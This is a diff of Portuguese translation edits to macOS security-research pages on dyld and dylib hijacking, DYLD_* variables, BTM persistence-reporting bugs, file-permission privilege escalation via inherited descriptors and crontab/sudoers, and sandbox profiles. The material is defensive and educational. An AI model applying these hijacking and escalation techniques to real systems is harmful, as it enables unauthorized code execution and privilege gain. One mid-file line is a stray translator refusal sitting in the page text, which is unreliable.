> Vá para o código e **verifique `src/dyld.cpp`**. Na função **`pruneEnvironmentVariables`** você pode ver que as variáveis **`DYLD_*`** são removidas.
|
||||
>
|
||||
> Na função **`processRestricted`** a razão da restrição é definida. Verificando esse código, você pode ver que as razões são:
|
||||
> Na função **`processRestricted`** a razão da restrição é definida. Verificando esse código você pode ver que as razões são:
|
||||
>
|
||||
> - O binário é `setuid/setgid`
|
||||
> - Existência da seção `__RESTRICT/__restrict` no binário macho.
|
||||
> - O software tem permissões (runtime endurecido) sem a permissão [`com.apple.security.cs.allow-dyld-environment-variables`](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-dyld-environment-variables)
|
||||
> - Verifique as **permissões** de um binário com: `codesign -dv --entitlements :- </path/to/bin>`
|
||||
>
|
||||
> Em versões mais atualizadas, você pode encontrar essa lógica na segunda parte da função **`configureProcessRestrictions`**. No entanto, o que é executado em versões mais novas são as **verificações iniciais da função** (você pode remover os ifs relacionados ao iOS ou simulação, pois esses não serão usados no macOS).
|
||||
> Em versões mais atualizadas você pode encontrar essa lógica na segunda parte da função **`configureProcessRestrictions`**. No entanto, o que é executado em versões mais novas são as **verificações iniciais da função** (você pode remover os ifs relacionados ao iOS ou simulação, pois esses não serão usados no macOS).
|
||||
|
||||
### Validação de Biblioteca
|
||||
|
||||
@ -54,29 +54,29 @@ Encontre um exemplo de como (ab)usar isso e verifique as restrições em:
|
||||
macos-dyld-hijacking-and-dyld_insert_libraries.md
|
||||
{{#endref}}
|
||||
|
||||
## Dylib Hijacking
|
||||
## Sequestro de Dylib
|
||||
|
||||
> [!CAUTION]
|
||||
> Lembre-se que **as restrições anteriores de Validação de Biblioteca também se aplicam** para realizar ataques de Dylib hijacking.
|
||||
> Lembre-se que **as restrições anteriores de Validação de Biblioteca também se aplicam** para realizar ataques de sequestro de Dylib.
|
||||
|
||||
Assim como no Windows, no MacOS você também pode **sequestrar dylibs** para fazer **aplicações** **executarem** **código** **arbitrário** (bem, na verdade, de um usuário regular isso pode não ser possível, pois você pode precisar de uma permissão TCC para escrever dentro de um pacote `.app` e sequestrar uma biblioteca).\
|
||||
No entanto, a maneira como as aplicações **MacOS** **carregam** bibliotecas é **mais restrita** do que no Windows. Isso implica que os desenvolvedores de **malware** ainda podem usar essa técnica para **furtividade**, mas a probabilidade de conseguir **abusar disso para escalar privilégios é muito menor**.
|
||||
Assim como no Windows, no MacOS você também pode **sequestrar dylibs** para fazer **aplicativos** **executarem** **código** **arbitrário** (bem, na verdade, de um usuário regular isso pode não ser possível, pois você pode precisar de uma permissão TCC para escrever dentro de um pacote `.app` e sequestrar uma biblioteca).\
|
||||
No entanto, a maneira como os aplicativos **MacOS** **carregam** bibliotecas é **mais restrita** do que no Windows. Isso implica que os desenvolvedores de **malware** ainda podem usar essa técnica para **furtividade**, mas a probabilidade de conseguir **abusar disso para escalar privilégios é muito menor**.
|
||||
|
||||
Primeiro de tudo, é **mais comum** encontrar que **binários MacOS indicam o caminho completo** para as bibliotecas a serem carregadas. E segundo, **MacOS nunca procura** nas pastas do **$PATH** por bibliotecas.
|
||||
Primeiro de tudo, é **mais comum** encontrar que **binários do MacOS indicam o caminho completo** para as bibliotecas a serem carregadas. E segundo, **o MacOS nunca procura** nas pastas do **$PATH** por bibliotecas.
|
||||
|
||||
A parte **principal** do **código** relacionada a essa funcionalidade está em **`ImageLoader::recursiveLoadLibraries`** em `ImageLoader.cpp`.
|
||||
|
||||
Existem **4 comandos de cabeçalho diferentes** que um binário macho pode usar para carregar bibliotecas:
|
||||
|
||||
- O comando **`LC_LOAD_DYLIB`** é o comando comum para carregar um dylib.
|
||||
- O comando **`LC_LOAD_WEAK_DYLIB`** funciona como o anterior, mas se o dylib não for encontrado, a execução continua sem erro.
|
||||
- O comando **`LC_REEXPORT_DYLIB`** proxy (ou reexporta) os símbolos de uma biblioteca diferente.
|
||||
- O comando **`LC_LOAD_WEAK_DYLIB`** funciona como o anterior, mas se o dylib não for encontrado, a execução continua sem nenhum erro.
|
||||
- O comando **`LC_REEXPORT_DYLIB`** faz proxy (ou reexporta) os símbolos de uma biblioteca diferente.
|
||||
- O comando **`LC_LOAD_UPWARD_DYLIB`** é usado quando duas bibliotecas dependem uma da outra (isso é chamado de _dependência ascendente_).
|
||||
|
||||
No entanto, existem **2 tipos de sequestramento de dylib**:
|
||||
No entanto, existem **2 tipos de sequestro de dylib**:
|
||||
|
||||
- **Bibliotecas fracas vinculadas ausentes**: Isso significa que a aplicação tentará carregar uma biblioteca que não existe configurada com **LC_LOAD_WEAK_DYLIB**. Então, **se um atacante colocar um dylib onde se espera que ele seja carregado**.
|
||||
- O fato de que o link é "fraco" significa que a aplicação continuará executando mesmo que a biblioteca não seja encontrada.
|
||||
- **Bibliotecas fracas vinculadas ausentes**: Isso significa que o aplicativo tentará carregar uma biblioteca que não existe configurada com **LC_LOAD_WEAK_DYLIB**. Então, **se um atacante colocar um dylib onde se espera que ele seja carregado**.
|
||||
- O fato de o link ser "fraco" significa que o aplicativo continuará executando mesmo que a biblioteca não seja encontrada.
|
||||
- O **código relacionado** a isso está na função `ImageLoaderMachO::doGetDependentLibraries` de `ImageLoaderMachO.cpp` onde `lib->required` é apenas `false` quando `LC_LOAD_WEAK_DYLIB` é verdadeiro.
|
||||
- **Encontre bibliotecas fracas vinculadas** em binários com (você tem mais tarde um exemplo de como criar bibliotecas de sequestro):
|
||||
- ```bash
|
||||
@ -87,7 +87,7 @@ time stamp 2 Wed Jun 21 12:23:31 1969
|
||||
current version 1.0.0
|
||||
compatibility version 1.0.0
|
||||
```
|
||||
- **Configuradas com @rpath**: Binários Mach-O podem ter os comandos **`LC_RPATH`** e **`LC_LOAD_DYLIB`**. Com base nos **valores** desses comandos, **bibliotecas** serão **carregadas** de **diretórios diferentes**.
|
||||
- **Configurado com @rpath**: Binários Mach-O podem ter os comandos **`LC_RPATH`** e **`LC_LOAD_DYLIB`**. Com base nos **valores** desses comandos, **bibliotecas** serão **carregadas** de **diretórios diferentes**.
|
||||
- **`LC_RPATH`** contém os caminhos de algumas pastas usadas para carregar bibliotecas pelo binário.
|
||||
- **`LC_LOAD_DYLIB`** contém o caminho para bibliotecas específicas a serem carregadas. Esses caminhos podem conter **`@rpath`**, que será **substituído** pelos valores em **`LC_RPATH`**. Se houver vários caminhos em **`LC_RPATH`**, todos serão usados para procurar a biblioteca a ser carregada. Exemplo:
|
||||
- Se **`LC_LOAD_DYLIB`** contém `@rpath/library.dylib` e **`LC_RPATH`** contém `/application/app.app/Contents/Framework/v1/` e `/application/app.app/Contents/Framework/v2/`. Ambas as pastas serão usadas para carregar `library.dylib`**.** Se a biblioteca não existir em `[...]/v1/` e o atacante puder colocá-la lá para sequestrar o carregamento da biblioteca em `[...]/v2/`, pois a ordem dos caminhos em **`LC_LOAD_DYLIB`** é seguida.
|
||||
@ -100,10 +100,10 @@ compatibility version 1.0.0
|
||||
> - Quando usado em um executável, **`@loader_path`** é efetivamente o **mesmo** que **`@executable_path`**.
|
||||
> - Quando usado em um **dylib**, **`@loader_path`** fornece o **caminho** para o **dylib**.
|
||||
|
||||
A maneira de **escalar privilégios** abusando dessa funcionalidade seria no raro caso de uma **aplicação** sendo executada **por** **root** estar **procurando** por alguma **biblioteca em alguma pasta onde o atacante tem permissões de escrita.**
|
||||
A maneira de **escalar privilégios** abusando dessa funcionalidade seria no raro caso de um **aplicativo** sendo executado **por** **root** estar **procurando** por alguma **biblioteca em alguma pasta onde o atacante tem permissões de escrita.**
|
||||
|
||||
> [!TIP]
|
||||
> Um bom **scanner** para encontrar **bibliotecas ausentes** em aplicações é [**Dylib Hijack Scanner**](https://objective-see.com/products/dhs.html) ou uma [**versão CLI**](https://github.com/pandazheng/DylibHijack).\
|
||||
> Um bom **scanner** para encontrar **bibliotecas ausentes** em aplicativos é [**Dylib Hijack Scanner**](https://objective-see.com/products/dhs.html) ou uma [**versão CLI**](https://github.com/pandazheng/DylibHijack).\
|
||||
> Um bom **relatório com detalhes técnicos** sobre essa técnica pode ser encontrado [**aqui**](https://www.virusbulletin.com/virusbulletin/2015/03/dylib-hijacking-os-x).
|
||||
|
||||
**Exemplo**
|
||||
@ -112,10 +112,10 @@ A maneira de **escalar privilégios** abusando dessa funcionalidade seria no rar
|
||||
macos-dyld-hijacking-and-dyld_insert_libraries.md
|
||||
{{#endref}}
|
||||
|
||||
## Dlopen Hijacking
|
||||
## Sequestro de Dlopen
|
||||
|
||||
> [!CAUTION]
|
||||
> Lembre-se que **as restrições anteriores de Validação de Biblioteca também se aplicam** para realizar ataques de Dlopen hijacking.
|
||||
> Lembre-se que **as restrições anteriores de Validação de Biblioteca também se aplicam** para realizar ataques de sequestro de Dlopen.
|
||||
|
||||
Do **`man dlopen`**:
|
||||
|
||||
@ -211,17 +211,17 @@ fprintf(stderr, "Error loading: %s\n\n\n", dlerror());
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Se você compilar e executar, poderá ver **onde cada biblioteca foi procurada sem sucesso**. Além disso, você poderia **filtrar os logs do FS**:
|
||||
Se você compilar e executar, poderá ver **onde cada biblioteca foi pesquisada sem sucesso**. Além disso, você poderia **filtrar os logs do FS**:
|
||||
```bash
|
||||
sudo fs_usage | grep "dlopentest"
|
||||
```
|
||||
## Hijacking de Caminho Relativo
|
||||
|
||||
Se um **binário/app privilegiado** (como um SUID ou algum binário com permissões poderosas) estiver **carregando uma biblioteca de caminho relativo** (por exemplo, usando `@executable_path` ou `@loader_path`) e tiver a **Validação de Biblioteca desativada**, pode ser possível mover o binário para um local onde o atacante poderia **modificar a biblioteca carregada de caminho relativo**, e abusar disso para injetar código no processo.
|
||||
Se um **binário/app privilegiado** (como um SUID ou algum binário com permissões poderosas) estiver **carregando uma biblioteca de caminho relativo** (por exemplo, usando `@executable_path` ou `@loader_path`) e tiver a **Validação de Biblioteca desativada**, pode ser possível mover o binário para um local onde o atacante possa **modificar a biblioteca carregada de caminho relativo** e abusar disso para injetar código no processo.
|
||||
|
||||
## Podar variáveis de ambiente `DYLD_*` e `LD_LIBRARY_PATH`
|
||||
|
||||
No arquivo `dyld-dyld-832.7.1/src/dyld2.cpp` é possível encontrar a função **`pruneEnvironmentVariables`**, que removerá qualquer variável de ambiente que **comece com `DYLD_`** e **`LD_LIBRARY_PATH=`**.
|
||||
No arquivo `dyld-dyld-832.7.1/src/dyld2.cpp`, é possível encontrar a função **`pruneEnvironmentVariables`**, que removerá qualquer variável de ambiente que **comece com `DYLD_`** e **`LD_LIBRARY_PATH=`**.
|
||||
|
||||
Ela também definirá como **nulo** especificamente as variáveis de ambiente **`DYLD_FALLBACK_FRAMEWORK_PATH`** e **`DYLD_FALLBACK_LIBRARY_PATH`** para binários **suid** e **sgid**.
|
||||
|
||||
@ -262,7 +262,7 @@ gLinkContext.allowClassicFallbackPaths = !isRestricted;
|
||||
gLinkContext.allowInsertFailures = false;
|
||||
gLinkContext.allowInterposing = true;
|
||||
```
|
||||
O que basicamente significa que se o binário for **suid** ou **sgid**, ou tiver um segmento **RESTRICT** nos cabeçalhos ou foi assinado com a flag **CS_RESTRICT**, então **`!gLinkContext.allowEnvVarsPrint && !gLinkContext.allowEnvVarsPath && !gLinkContext.allowEnvVarsSharedCache`** é verdadeiro e as variáveis de ambiente são podadas.
|
||||
O que basicamente significa que se o binário é **suid** ou **sgid**, ou tem um segmento **RESTRICT** nos cabeçalhos ou foi assinado com a flag **CS_RESTRICT**, então **`!gLinkContext.allowEnvVarsPrint && !gLinkContext.allowEnvVarsPath && !gLinkContext.allowEnvVarsSharedCache`** é verdadeiro e as variáveis de ambiente são podadas.
|
||||
|
||||
Note que se CS_REQUIRE_LV for verdadeiro, então as variáveis não serão podadas, mas a validação da biblioteca verificará se estão usando o mesmo certificado que o binário original.
|
||||
|
||||
|
||||
@ -98,7 +98,7 @@ Disassembly of section __TEXT,__stubs:
|
||||
você pode ver que estamos **pulando para o endereço do GOT**, que neste caso é resolvido de forma não preguiçosa e conterá o endereço da função printf.
|
||||
|
||||
Em outras situações, em vez de pular diretamente para o GOT, ele pode pular para **`__DATA.__la_symbol_ptr`** que carregará um valor que representa a função que está tentando carregar, então pular para **`__TEXT.__stub_helper`** que pula para **`__DATA.__nl_symbol_ptr`** que contém o endereço de **`dyld_stub_binder`** que recebe como parâmetros o número da função e um endereço.\
|
||||
Essa última função, após encontrar o endereço da função procurada, escreve-o na localização correspondente em **`__TEXT.__stub_helper`** para evitar fazer buscas no futuro.
|
||||
Esta última função, após encontrar o endereço da função procurada, escreve-o no local correspondente em **`__TEXT.__stub_helper`** para evitar fazer buscas no futuro.
|
||||
|
||||
> [!TIP]
|
||||
> No entanto, observe que as versões atuais do dyld carregam tudo como não preguiçoso.
|
||||
@ -137,7 +137,7 @@ I'm sorry, but I cannot provide a translation without the specific text you woul
|
||||
> [!TIP]
|
||||
> Quando esses valores chegam à função principal, informações sensíveis já foram removidas deles ou teria ocorrido um vazamento de dados.
|
||||
|
||||
é possível ver todos esses valores interessantes depurando antes de entrar na função principal com:
|
||||
é possível ver todos esses valores interessantes depurando antes de entrar na main com:
|
||||
|
||||
<pre><code>lldb ./apple
|
||||
|
||||
@ -254,13 +254,13 @@ dyld[21623]: running initializer 0x18e59e5c0 in /usr/lib/libSystem.B.dylib
|
||||
### Outros
|
||||
|
||||
- `DYLD_BIND_AT_LAUNCH`: Vínculos preguiçosos são resolvidos com os não preguiçosos
|
||||
- `DYLD_DISABLE_PREFETCH`: Desativar a pré-busca de conteúdo \_\_DATA e \_\_LINKEDIT
|
||||
- `DYLD_DISABLE_PREFETCH`: Desabilitar pré-carregamento de conteúdo \_\_DATA e \_\_LINKEDIT
|
||||
- `DYLD_FORCE_FLAT_NAMESPACE`: Vínculos de nível único
|
||||
- `DYLD_[FRAMEWORK/LIBRARY]_PATH | DYLD_FALLBACK_[FRAMEWORK/LIBRARY]_PATH | DYLD_VERSIONED_[FRAMEWORK/LIBRARY]_PATH`: Caminhos de resolução
|
||||
- `DYLD_INSERT_LIBRARIES`: Carregar uma biblioteca específica
|
||||
- `DYLD_PRINT_TO_FILE`: Escrever depuração do dyld em um arquivo
|
||||
- `DYLD_PRINT_APIS`: Imprimir chamadas de API do libdyld
|
||||
- `DYLD_PRINT_APIS_APP`: Imprimir chamadas de API do libdyld feitas pelo principal
|
||||
- `DYLD_PRINT_TO_FILE`: Escrever depuração dyld em um arquivo
|
||||
- `DYLD_PRINT_APIS`: Imprimir chamadas de API libdyld
|
||||
- `DYLD_PRINT_APIS_APP`: Imprimir chamadas de API libdyld feitas pelo principal
|
||||
- `DYLD_PRINT_BINDINGS`: Imprimir símbolos quando vinculados
|
||||
- `DYLD_WEAK_BINDINGS`: Imprimir apenas símbolos fracos quando vinculados
|
||||
- `DYLD_PRINT_CODE_SIGNATURES`: Imprimir operações de registro de assinatura de código
|
||||
@ -289,6 +289,6 @@ find . -type f | xargs grep strcmp| grep key,\ \" | cut -d'"' -f2 | sort -u
|
||||
```
|
||||
## Referências
|
||||
|
||||
- [**\*OS Internals, Volume I: User Mode. Por Jonathan Levin**](https://www.amazon.com/MacOS-iOS-Internals-User-Mode/dp/099105556X)
|
||||
- [**\*OS Internals, Volume I: User Mode. By Jonathan Levin**](https://www.amazon.com/MacOS-iOS-Internals-User-Mode/dp/099105556X)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -52,9 +52,9 @@ A Ferramenta de Remoção de Malware (MRT) é outra parte da infraestrutura de s
|
||||
|
||||
Uma vez que o malware é detectado em um Mac (seja pelo XProtect ou por outros meios), o MRT pode ser usado para **remover automaticamente o malware**. O MRT opera silenciosamente em segundo plano e normalmente é executado sempre que o sistema é atualizado ou quando uma nova definição de malware é baixada (parece que as regras que o MRT tem para detectar malware estão dentro do binário).
|
||||
|
||||
Enquanto o XProtect e o MRT são parte das medidas de segurança do macOS, eles desempenham funções diferentes:
|
||||
Enquanto o XProtect e o MRT fazem parte das medidas de segurança do macOS, eles desempenham funções diferentes:
|
||||
|
||||
- **XProtect** é uma ferramenta preventiva. Ele **verifica arquivos à medida que são baixados** (via certos aplicativos) e, se detectar qualquer tipo conhecido de malware, **impede que o arquivo seja aberto**, evitando assim que o malware infecte seu sistema em primeiro lugar.
|
||||
- **XProtect** é uma ferramenta preventiva. Ele **verifica arquivos à medida que são baixados** (por meio de certos aplicativos) e, se detectar qualquer tipo conhecido de malware, **impede que o arquivo seja aberto**, evitando assim que o malware infecte seu sistema em primeiro lugar.
|
||||
- **MRT**, por outro lado, é uma **ferramenta reativa**. Ele opera após o malware ter sido detectado em um sistema, com o objetivo de remover o software ofensivo para limpar o sistema.
|
||||
|
||||
O aplicativo MRT está localizado em **`/Library/Apple/System/Library/CoreServices/MRT.app`**
|
||||
@ -87,7 +87,7 @@ Além disso, há um arquivo plist que contém **aplicativos bem conhecidos** que
|
||||
```
|
||||
### Enumeração
|
||||
|
||||
É possível **enumerar todos** os itens de fundo configurados executando a ferramenta cli da Apple:
|
||||
É possível **enumerar todos** os itens de fundo configurados usando a ferramenta cli da Apple:
|
||||
```bash
|
||||
# The tool will always ask for the users password
|
||||
sfltool dumpbtm
|
||||
@ -99,7 +99,7 @@ chmod +x dumpBTM
|
||||
xattr -rc dumpBTM # Remove quarantine attr
|
||||
./dumpBTM
|
||||
```
|
||||
Esta informação está sendo armazenada em **`/private/var/db/com.apple.backgroundtaskmanagement/BackgroundItems-v4.btm`** e o Terminal precisa de FDA.
|
||||
Essas informações estão sendo armazenadas em **`/private/var/db/com.apple.backgroundtaskmanagement/BackgroundItems-v4.btm`** e o Terminal precisa de FDA.
|
||||
|
||||
### Brincando com BTM
|
||||
|
||||
@ -124,7 +124,7 @@ kill -SIGSTOP 1011
|
||||
ps -o state 1011
|
||||
T
|
||||
```
|
||||
- **Bug**: Se o **processo que criou a persistência existir rapidamente logo após ele**, o daemon tentará **obter informações** sobre isso, **falhará** e **não conseguirá enviar o evento** indicando que uma nova coisa está persistindo.
|
||||
- **Bug**: Se o **processo que criou a persistência existir rapidamente logo após isso**, o daemon tentará **obter informações** sobre ele, **falhará** e **não conseguirá enviar o evento** indicando que uma nova coisa está persistindo.
|
||||
|
||||
Referências e **mais informações sobre BTM**:
|
||||
|
||||
|
||||
@ -10,7 +10,7 @@ Permissões em um **diretório**:
|
||||
- **escrita** - você pode **deletar/escrever** **arquivos** no diretório e pode **deletar pastas vazias**.
|
||||
- Mas você **não pode deletar/modificar pastas não vazias** a menos que tenha permissões de escrita sobre elas.
|
||||
- Você **não pode modificar o nome de uma pasta** a menos que a possua.
|
||||
- **execução** - você está **autorizado a percorrer** o diretório - se você não tiver esse direito, não poderá acessar nenhum arquivo dentro dele, ou em quaisquer subdiretórios.
|
||||
- **execução** - você está **autorizado a percorrer** o diretório - se você não tiver esse direito, não pode acessar nenhum arquivo dentro dele, ou em quaisquer subdiretórios.
|
||||
|
||||
### Combinações Perigosas
|
||||
|
||||
@ -62,7 +62,7 @@ Exemplo:
|
||||
|
||||
Se uma chamada para `open` não tiver a flag `O_CLOEXEC`, o descritor de arquivo será herdado pelo processo filho. Assim, se um processo privilegiado abrir um arquivo privilegiado e executar um processo controlado pelo atacante, o atacante **herdará o FD sobre o arquivo privilegiado**.
|
||||
|
||||
Se você conseguir fazer um **processo abrir um arquivo ou uma pasta com altos privilégios**, você pode abusar do **`crontab`** para abrir um arquivo em `/etc/sudoers.d` com **`EDITOR=exploit.py`**, assim o `exploit.py` obterá o FD para o arquivo dentro de `/etc/sudoers` e abusará dele.
|
||||
Se você conseguir fazer um **processo abrir um arquivo ou uma pasta com altos privilégios**, você pode abusar do **`crontab`** para abrir um arquivo em `/etc/sudoers.d` com **`EDITOR=exploit.py`**, de modo que o `exploit.py` obterá o FD para o arquivo dentro de `/etc/sudoers` e abusará dele.
|
||||
|
||||
Por exemplo: [https://youtu.be/f1HA5QhLQ7Y?t=21098](https://youtu.be/f1HA5QhLQ7Y?t=21098), código: https://github.com/gergelykalman/CVE-2023-32428-a-macOS-LPE-via-MallocStackLogging
|
||||
|
||||
@ -156,7 +156,7 @@ macos-xattr-acls-extra-stuff.md
|
||||
|
||||
### Bypass de verificações de binários de plataforma
|
||||
|
||||
Algumas verificações de segurança checam se o binário é um **binário de plataforma**, por exemplo, para permitir a conexão a um serviço XPC. No entanto, como exposto em um bypass em https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/, é possível contornar essa verificação obtendo um binário de plataforma (como /bin/ls) e injetar o exploit via dyld usando uma variável de ambiente `DYLD_INSERT_LIBRARIES`.
|
||||
Algumas verificações de segurança checam se o binário é um **binário de plataforma**, por exemplo, para permitir a conexão a um serviço XPC. No entanto, como exposto em um bypass em https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/, é possível contornar essa verificação obtendo um binário de plataforma (como /bin/ls) e injetando o exploit via dyld usando uma variável de ambiente `DYLD_INSERT_LIBRARIES`.
|
||||
|
||||
### Bypass das flags `CS_REQUIRE_LV` e `CS_FORCED_LV`
|
||||
|
||||
@ -248,8 +248,8 @@ hdiutil detach /private/tmp/mnt 1>/dev/null
|
||||
# You can also create a dmg from an app using:
|
||||
hdiutil create -srcfolder justsome.app justsome.dmg
|
||||
```
|
||||
Normalmente, o macOS monta discos conversando com o `com.apple.DiskArbitrarion.diskarbitrariond` serviço Mach (fornecido por `/usr/libexec/diskarbitrationd`). Se adicionar o parâmetro `-d` ao arquivo plist do LaunchDaemons e reiniciar, ele armazenará logs em `/var/log/diskarbitrationd.log`.\
|
||||
No entanto, é possível usar ferramentas como `hdik` e `hdiutil` para se comunicar diretamente com o `com.apple.driver.DiskImages` kext.
|
||||
Normalmente, o macOS monta discos conversando com o serviço Mach `com.apple.DiskArbitration.diskarbitrationd` (fornecido por `/usr/libexec/diskarbitrationd`). Se você adicionar o parâmetro `-d` ao arquivo plist do LaunchDaemons e reiniciar, ele armazenará logs em `/var/log/diskarbitrationd.log`.\
|
||||
No entanto, é possível usar ferramentas como `hdik` e `hdiutil` para se comunicar diretamente com o kext `com.apple.driver.DiskImages`.
|
||||
|
||||
## Escritas Arbitrárias
|
||||
|
||||
@ -286,7 +286,7 @@ Se você tiver **escrita arbitrária**, você pode criar um arquivo dentro da pa
|
||||
|
||||
### PATH files
|
||||
|
||||
O arquivo **`/etc/paths`** é um dos principais locais que preenche a variável de ambiente PATH. Você deve ser root para sobrescrevê-lo, mas se um script de **processo privilegiado** estiver executando algum **comando sem o caminho completo**, você pode ser capaz de **sequestar** isso modificando este arquivo.
|
||||
O arquivo **`/etc/paths`** é um dos principais lugares que preenche a variável de ambiente PATH. Você deve ser root para sobrescrevê-lo, mas se um script de **processo privilegiado** estiver executando algum **comando sem o caminho completo**, você pode ser capaz de **sequestar** isso modificando este arquivo.
|
||||
|
||||
Você também pode escrever arquivos em **`/etc/paths.d`** para carregar novas pastas na variável de ambiente `PATH`.
|
||||
|
||||
@ -324,13 +324,13 @@ MallocStackLogging=1 MallocStackLoggingDirectory=$DIRNAME MallocStackLoggingDont
|
||||
FILENAME=$(ls "$DIRNAME")
|
||||
echo $FILENAME
|
||||
```
|
||||
## POSIX Shared Memory
|
||||
## Memória Compartilhada POSIX
|
||||
|
||||
**A memória compartilhada POSIX** permite que processos em sistemas operacionais compatíveis com POSIX acessem uma área de memória comum, facilitando uma comunicação mais rápida em comparação com outros métodos de comunicação entre processos. Envolve a criação ou abertura de um objeto de memória compartilhada com `shm_open()`, definindo seu tamanho com `ftruncate()`, e mapeando-o no espaço de endereços do processo usando `mmap()`. Os processos podem então ler e escrever diretamente nesta área de memória. Para gerenciar o acesso concorrente e prevenir a corrupção de dados, mecanismos de sincronização como mutexes ou semáforos são frequentemente utilizados. Finalmente, os processos desmapeiam e fecham a memória compartilhada com `munmap()` e `close()`, e opcionalmente removem o objeto de memória com `shm_unlink()`. Este sistema é especialmente eficaz para IPC eficiente e rápido em ambientes onde múltiplos processos precisam acessar dados compartilhados rapidamente.
|
||||
**Memória compartilhada POSIX** permite que processos em sistemas operacionais compatíveis com POSIX acessem uma área de memória comum, facilitando uma comunicação mais rápida em comparação com outros métodos de comunicação entre processos. Envolve a criação ou abertura de um objeto de memória compartilhada com `shm_open()`, definindo seu tamanho com `ftruncate()`, e mapeando-o no espaço de endereços do processo usando `mmap()`. Os processos podem então ler e escrever diretamente nesta área de memória. Para gerenciar o acesso concorrente e prevenir a corrupção de dados, mecanismos de sincronização como mutexes ou semáforos são frequentemente utilizados. Finalmente, os processos desmapeiam e fecham a memória compartilhada com `munmap()` e `close()`, e opcionalmente removem o objeto de memória com `shm_unlink()`. Este sistema é especialmente eficaz para IPC eficiente e rápido em ambientes onde múltiplos processos precisam acessar dados compartilhados rapidamente.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Producer Code Example</summary>
|
||||
<summary>Exemplo de Código do Produtor</summary>
|
||||
```c
|
||||
// gcc producer.c -o producer -lrt
|
||||
#include <fcntl.h>
|
||||
@ -420,7 +420,7 @@ return 0;
|
||||
```
|
||||
</details>
|
||||
|
||||
## Descritores Protegidos do macOS
|
||||
## macOS Descritores Protegidos
|
||||
|
||||
**Descritores protegidos do macOS** são um recurso de segurança introduzido no macOS para aumentar a segurança e a confiabilidade das **operações de descritores de arquivo** em aplicativos de usuário. Esses descritores protegidos fornecem uma maneira de associar restrições específicas ou "guardas" com descritores de arquivo, que são aplicadas pelo kernel.
|
||||
|
||||
|
||||
@ -143,7 +143,7 @@ Importantes **serviços do sistema** também são executados dentro de seu próp
|
||||
|
||||
Aplicativos da **App Store** usam o **perfil** **`/System/Library/Sandbox/Profiles/application.sb`**. Você pode verificar neste perfil como direitos como **`com.apple.security.network.server`** permitem que um processo use a rede.
|
||||
|
||||
Em seguida, alguns **serviços de daemon da Apple** usam perfis diferentes localizados em `/System/Library/Sandbox/Profiles/*.sb` ou `/usr/share/sandbox/*.sb`. Esses sandboxes são aplicados na função principal que chama a API `sandbox_init_XXX`.
|
||||
Então, alguns **serviços de daemon da Apple** usam perfis diferentes localizados em `/System/Library/Sandbox/Profiles/*.sb` ou `/usr/share/sandbox/*.sb`. Esses sandboxes são aplicados na função principal que chama a API `sandbox_init_XXX`.
|
||||
|
||||
**SIP** é um perfil de Sandbox chamado platform_profile em `/System/Library/Sandbox/rootless.conf`.
|
||||
|
||||
@ -237,15 +237,15 @@ Também é possível fazer algo semelhante chamando `sandbox_vtrace_enable()` e,
|
||||
|
||||
O MacOS armazena perfis de sandbox do sistema em dois locais: **/usr/share/sandbox/** e **/System/Library/Sandbox/Profiles**.
|
||||
|
||||
E se um aplicativo de terceiros tiver a _**com.apple.security.app-sandbox**_ autorização, o sistema aplica o perfil **/System/Library/Sandbox/Profiles/application.sb** a esse processo.
|
||||
E se um aplicativo de terceiros carregar a _**com.apple.security.app-sandbox**_ concessão, o sistema aplica o perfil **/System/Library/Sandbox/Profiles/application.sb** a esse processo.
|
||||
|
||||
No iOS, o perfil padrão é chamado **container** e não temos a representação de texto SBPL. Na memória, esse sandbox é representado como uma árvore binária Allow/Deny para cada permissão do sandbox.
|
||||
|
||||
### SBPL Personalizado em aplicativos da App Store
|
||||
|
||||
Pode ser possível para empresas fazerem seus aplicativos rodarem **com perfis de Sandbox personalizados** (em vez do padrão). Elas precisam usar a autorização **`com.apple.security.temporary-exception.sbpl`** que precisa ser autorizada pela Apple.
|
||||
Pode ser possível para empresas fazerem seus aplicativos rodarem **com perfis de Sandbox personalizados** (em vez do padrão). Elas precisam usar a concessão **`com.apple.security.temporary-exception.sbpl`** que precisa ser autorizada pela Apple.
|
||||
|
||||
É possível verificar a definição dessa autorização em **`/System/Library/Sandbox/Profiles/application.sb:`**
|
||||
É possível verificar a definição dessa concessão em **`/System/Library/Sandbox/Profiles/application.sb:`**
|
||||
```scheme
|
||||
(sandbox-array-entitlement
|
||||
"com.apple.security.temporary-exception.sbpl"
|
||||
@ -257,7 +257,7 @@ Isso irá **avaliar a string após esta concessão** como um perfil de Sandbox.
|
||||
|
||||
### Compilando e descompilando um Perfil de Sandbox
|
||||
|
||||
A ferramenta **`sandbox-exec`** utiliza as funções `sandbox_compile_*` da `libsandbox.dylib`. As principais funções exportadas são: `sandbox_compile_file` (espera um caminho de arquivo, parâmetro `-f`), `sandbox_compile_string` (espera uma string, parâmetro `-p`), `sandbox_compile_name` (espera um nome de um contêiner, parâmetro `-n`), `sandbox_compile_entitlements` (espera um plist de concessões).
|
||||
A ferramenta **`sandbox-exec`** utiliza as funções `sandbox_compile_*` da `libsandbox.dylib`. As principais funções exportadas são: `sandbox_compile_file` (espera um caminho de arquivo, parâmetro `-f`), `sandbox_compile_string` (espera uma string, parâmetro `-p`), `sandbox_compile_name` (espera um nome de um contêiner, parâmetro `-n`), `sandbox_compile_entitlements` (espera plist de concessões).
|
||||
|
||||
Esta versão revertida e [**open source da ferramenta sandbox-exec**](https://newosxbook.com/src.jl?tree=listings&file=/sandbox_exec.c) permite que **`sandbox-exec`** escreva em um arquivo o perfil de sandbox compilado.
|
||||
|
||||
@ -265,7 +265,7 @@ Além disso, para confinar um processo dentro de um contêiner, pode chamar `san
|
||||
|
||||
## Depurar e Bypass Sandbox
|
||||
|
||||
No macOS, ao contrário do iOS, onde os processos são isolados desde o início pelo kernel, **os processos devem optar por entrar no sandbox**. Isso significa que no macOS, um processo não é restrito pelo sandbox até que decida ativamente entrar nele, embora os aplicativos da App Store estejam sempre isolados.
|
||||
No macOS, ao contrário do iOS, onde os processos são isolados desde o início pelo kernel, **os processos devem optar pelo sandbox por conta própria**. Isso significa que no macOS, um processo não é restrito pelo sandbox até que decida ativamente entrar nele, embora os aplicativos da App Store estejam sempre isolados.
|
||||
|
||||
